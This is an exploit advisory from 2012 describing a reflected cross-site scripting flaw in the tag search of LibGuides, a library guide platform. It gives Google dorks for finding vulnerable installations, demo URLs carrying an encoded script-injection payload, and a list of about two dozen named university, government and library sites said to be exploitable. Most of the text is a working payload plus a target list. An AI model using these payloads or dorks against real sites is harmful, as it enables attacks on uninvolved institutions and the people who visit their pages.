LibGuides "tag search" Cross Site Scripting

# Exploit Title: LibGuides "tag search" Cross Site Scripting
# Date: 6.02.2012
# Author: Sony
# Software Link: http://www.springshare.com/libguides/
# Google Dorks: inurl:searchtags.php?iid= or intext:Powered by Springshare
# Web Browser: Mozilla Firefox
# Blog: http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/02/libguides-tag-search-cross-site.html

..................................................................

Well, we have xss in tag search:

Our xss code:

http://codepad.org/LqL68vIQ

http://demo.libguides.com/searchtags.php?iid=1&gid=0&tag= [our xss]


Demo:

http://vuln.xssed.net/2012/02/06/libguides.bodleian.ox.ac.uk/

http://demo.libguides.com/searchtags.php?iid=1&gid=0&tag=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E

http://natolibguides.info/searchtags.php?iid=&tag=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E

A lot of .edu,org,etc.. sites vuln to xss:

inurl:searchtags.php?iid= site:edu

http://infoguides.gmu.edu/searchtags.php?iid=&tag=
http://libguides.sbuniv.edu/searchtags.php?iid=&tag=
http://libguides.cabq.gov/searchtags.php?iid=&tag=
http://libguides.metro.org/searchtags.php?iid=&tag=
http://guides.lib.washington.edu/searchtags.php?iid=&tag=
http://libguides.bc.edu/searchtags.php?iid=&tag=
http://guides.lib.uchicago.edu/searchtags.php?iid=&tag=
http://libguides.unm.edu/searchtags.php?iid=237&tag=
http://guides.lib.uiowa.edu/searchtags.php?iid=&tag=
http://researchguides.library.wisc.edu/searchtags.php?iid=&tag=
http://guides.library.duke.edu/searchtags.php?iid=&tag=
http://guides.hcl.harvard.edu/searchtags.php?iid=&tag=
http://subjectguides.library.american.edu/searchtags.php?iid=&tag=
http://libguides.uwlax.edu/searchtags.php?iid=&tag=
http://libguides.sit.edu/searchtags.php?iid=&tag=
http://libguides.princeton.edu/searchtags.php?iid=&tag=
http://legalresearch.usfca.edu/searchtags.php?iid=&tag=
http://libguides.hcc.hawaii.edu/searchtags.php?iid=&tag=
http://researchguides.case.edu/searchtags.php?iid=&tag=
http://guides.lib.virginia.edu/searchtags.php?iid=&tag=
http://guides.library.manoa.hawaii.edu/searchtags.php?iid=&tag=
http://libguides.mit.edu/searchtags.php?iid=148&tag=
http://libguides.miami.edu/searchtags.php?iid=155&tag=
http://libguides.olympic.edu/searchtags.php?iid=&tag=
http://libguides.bodleian.ox.ac.uk/searchtags.php?iid=&tag=
http://guides.slsa.sa.gov.au/searchtags.php?iid=&tag=